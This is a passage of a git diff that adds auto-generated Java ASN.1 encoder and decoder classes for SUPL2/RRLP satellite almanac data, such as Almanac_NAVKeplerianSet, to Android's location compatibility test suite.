+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmMoType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmaf0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmaf0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmaf0Type() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmaf0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmaf0Type != null) {
+ return ImmutableList.of(TAG_midiAlmaf0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmaf0Type from encoded stream.
+ */
+ public static midiAlmaf0Type fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmaf0Type result = new midiAlmaf0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmaf0Type from encoded stream.
+ */
+ public static midiAlmaf0Type fromPerAligned(byte[] encodedBytes) {
+ midiAlmaf0Type result = new midiAlmaf0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmaf0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmaf1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_midiAlmaf1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmaf1Type() {
+ super();
+ setValueRange("-512", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmaf1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmaf1Type != null) {
+ return ImmutableList.of(TAG_midiAlmaf1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmaf1Type from encoded stream.
+ */
+ public static midiAlmaf1Type fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmaf1Type result = new midiAlmaf1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmaf1Type from encoded stream.
+ */
+ public static midiAlmaf1Type fromPerAligned(byte[] encodedBytes) {
+ midiAlmaf1Type result = new midiAlmaf1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmaf1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmL1HealthType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_midiAlmL1HealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmL1HealthType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmL1HealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmL1HealthType != null) {
+ return ImmutableList.of(TAG_midiAlmL1HealthType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmL1HealthType from encoded stream.
+ */
+ public static midiAlmL1HealthType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmL1HealthType result = new midiAlmL1HealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmL1HealthType from encoded stream.
+ */
+ public static midiAlmL1HealthType fromPerAligned(byte[] encodedBytes) {
+ midiAlmL1HealthType result = new midiAlmL1HealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmL1HealthType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmL2HealthType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_midiAlmL2HealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmL2HealthType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmL2HealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmL2HealthType != null) {
+ return ImmutableList.of(TAG_midiAlmL2HealthType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmL2HealthType from encoded stream.
+ */
+ public static midiAlmL2HealthType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmL2HealthType result = new midiAlmL2HealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmL2HealthType from encoded stream.
+ */
+ public static midiAlmL2HealthType fromPerAligned(byte[] encodedBytes) {
+ midiAlmL2HealthType result = new midiAlmL2HealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmL2HealthType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class midiAlmL5HealthType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_midiAlmL5HealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public midiAlmL5HealthType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_midiAlmL5HealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_midiAlmL5HealthType != null) {
+ return ImmutableList.of(TAG_midiAlmL5HealthType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new midiAlmL5HealthType from encoded stream.
+ */
+ public static midiAlmL5HealthType fromPerUnaligned(byte[] encodedBytes) {
+ midiAlmL5HealthType result = new midiAlmL5HealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new midiAlmL5HealthType from encoded stream.
+ */
+ public static midiAlmL5HealthType fromPerAligned(byte[] encodedBytes) {
+ midiAlmL5HealthType result = new midiAlmL5HealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "midiAlmL5HealthType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Almanac_MidiAlmanacSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java
new file mode 100755
index 0000000..52fa71b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java
@@ -0,0 +1,1635 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Almanac_NAVKeplerianSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Almanac_NAVKeplerianSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Almanac_NAVKeplerianSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Almanac_NAVKeplerianSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Almanac_NAVKeplerianSet != null) {
+ return ImmutableList.of(TAG_Almanac_NAVKeplerianSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Almanac_NAVKeplerianSet from encoded stream.
+ */
+ public static Almanac_NAVKeplerianSet fromPerUnaligned(byte[] encodedBytes) {
+ Almanac_NAVKeplerianSet result = new Almanac_NAVKeplerianSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Almanac_NAVKeplerianSet from encoded stream.
+ */
+ public static Almanac_NAVKeplerianSet fromPerAligned(byte[] encodedBytes) {
+ Almanac_NAVKeplerianSet result = new Almanac_NAVKeplerianSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmEType navAlmE_;
+ public Almanac_NAVKeplerianSet.navAlmEType getNavAlmE() {
+ return navAlmE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmEType
+ */
+ public void setNavAlmE(Asn1Object value) {
+ this.navAlmE_ = (Almanac_NAVKeplerianSet.navAlmEType) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmEType setNavAlmEToNewInstance() {
+ navAlmE_ = new Almanac_NAVKeplerianSet.navAlmEType();
+ return navAlmE_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmDeltaIType navAlmDeltaI_;
+ public Almanac_NAVKeplerianSet.navAlmDeltaIType getNavAlmDeltaI() {
+ return navAlmDeltaI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmDeltaIType
+ */
+ public void setNavAlmDeltaI(Asn1Object value) {
+ this.navAlmDeltaI_ = (Almanac_NAVKeplerianSet.navAlmDeltaIType) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmDeltaIType setNavAlmDeltaIToNewInstance() {
+ navAlmDeltaI_ = new Almanac_NAVKeplerianSet.navAlmDeltaIType();
+ return navAlmDeltaI_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmOMEGADOTType navAlmOMEGADOT_;
+ public Almanac_NAVKeplerianSet.navAlmOMEGADOTType getNavAlmOMEGADOT() {
+ return navAlmOMEGADOT_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmOMEGADOTType
+ */
+ public void setNavAlmOMEGADOT(Asn1Object value) {
+ this.navAlmOMEGADOT_ = (Almanac_NAVKeplerianSet.navAlmOMEGADOTType) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmOMEGADOTType setNavAlmOMEGADOTToNewInstance() {
+ navAlmOMEGADOT_ = new Almanac_NAVKeplerianSet.navAlmOMEGADOTType();
+ return navAlmOMEGADOT_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmSVHealthType navAlmSVHealth_;
+ public Almanac_NAVKeplerianSet.navAlmSVHealthType getNavAlmSVHealth() {
+ return navAlmSVHealth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmSVHealthType
+ */
+ public void setNavAlmSVHealth(Asn1Object value) {
+ this.navAlmSVHealth_ = (Almanac_NAVKeplerianSet.navAlmSVHealthType) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmSVHealthType setNavAlmSVHealthToNewInstance() {
+ navAlmSVHealth_ = new Almanac_NAVKeplerianSet.navAlmSVHealthType();
+ return navAlmSVHealth_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmSqrtAType navAlmSqrtA_;
+ public Almanac_NAVKeplerianSet.navAlmSqrtAType getNavAlmSqrtA() {
+ return navAlmSqrtA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmSqrtAType
+ */
+ public void setNavAlmSqrtA(Asn1Object value) {
+ this.navAlmSqrtA_ = (Almanac_NAVKeplerianSet.navAlmSqrtAType) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmSqrtAType setNavAlmSqrtAToNewInstance() {
+ navAlmSqrtA_ = new Almanac_NAVKeplerianSet.navAlmSqrtAType();
+ return navAlmSqrtA_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmOMEGAoType navAlmOMEGAo_;
+ public Almanac_NAVKeplerianSet.navAlmOMEGAoType getNavAlmOMEGAo() {
+ return navAlmOMEGAo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmOMEGAoType
+ */
+ public void setNavAlmOMEGAo(Asn1Object value) {
+ this.navAlmOMEGAo_ = (Almanac_NAVKeplerianSet.navAlmOMEGAoType) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmOMEGAoType setNavAlmOMEGAoToNewInstance() {
+ navAlmOMEGAo_ = new Almanac_NAVKeplerianSet.navAlmOMEGAoType();
+ return navAlmOMEGAo_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmOmegaType navAlmOmega_;
+ public Almanac_NAVKeplerianSet.navAlmOmegaType getNavAlmOmega() {
+ return navAlmOmega_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmOmegaType
+ */
+ public void setNavAlmOmega(Asn1Object value) {
+ this.navAlmOmega_ = (Almanac_NAVKeplerianSet.navAlmOmegaType) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmOmegaType setNavAlmOmegaToNewInstance() {
+ navAlmOmega_ = new Almanac_NAVKeplerianSet.navAlmOmegaType();
+ return navAlmOmega_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmMoType navAlmMo_;
+ public Almanac_NAVKeplerianSet.navAlmMoType getNavAlmMo() {
+ return navAlmMo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmMoType
+ */
+ public void setNavAlmMo(Asn1Object value) {
+ this.navAlmMo_ = (Almanac_NAVKeplerianSet.navAlmMoType) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmMoType setNavAlmMoToNewInstance() {
+ navAlmMo_ = new Almanac_NAVKeplerianSet.navAlmMoType();
+ return navAlmMo_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmaf0Type navAlmaf0_;
+ public Almanac_NAVKeplerianSet.navAlmaf0Type getNavAlmaf0() {
+ return navAlmaf0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmaf0Type
+ */
+ public void setNavAlmaf0(Asn1Object value) {
+ this.navAlmaf0_ = (Almanac_NAVKeplerianSet.navAlmaf0Type) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmaf0Type setNavAlmaf0ToNewInstance() {
+ navAlmaf0_ = new Almanac_NAVKeplerianSet.navAlmaf0Type();
+ return navAlmaf0_;
+ }
+
+ private Almanac_NAVKeplerianSet.navAlmaf1Type navAlmaf1_;
+ public Almanac_NAVKeplerianSet.navAlmaf1Type getNavAlmaf1() {
+ return navAlmaf1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_NAVKeplerianSet.navAlmaf1Type
+ */
+ public void setNavAlmaf1(Asn1Object value) {
+ this.navAlmaf1_ = (Almanac_NAVKeplerianSet.navAlmaf1Type) value;
+ }
+ public Almanac_NAVKeplerianSet.navAlmaf1Type setNavAlmaf1ToNewInstance() {
+ navAlmaf1_ = new Almanac_NAVKeplerianSet.navAlmaf1Type();
+ return navAlmaf1_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmE();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmE : "
+ + getNavAlmE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmDeltaI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmDeltaI();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmDeltaIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmDeltaIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmDeltaI : "
+ + getNavAlmDeltaI().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmOMEGADOT() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmOMEGADOT();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmOMEGADOTToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmOMEGADOTType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmOMEGADOT : "
+ + getNavAlmOMEGADOT().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmSVHealth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmSVHealth();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmSVHealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmSVHealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmSVHealth : "
+ + getNavAlmSVHealth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmSqrtA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmSqrtA();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmSqrtAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmSqrtAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmSqrtA : "
+ + getNavAlmSqrtA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmOMEGAo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmOMEGAo();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmOMEGAoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmOMEGAoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmOMEGAo : "
+ + getNavAlmOMEGAo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmOmega() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmOmega();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmOmegaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmOmegaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmOmega : "
+ + getNavAlmOmega().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmMo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAlmMo();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAlmMoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_NAVKeplerianSet.navAlmMoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAlmMo : "
+ + getNavAlmMo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAlmaf0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
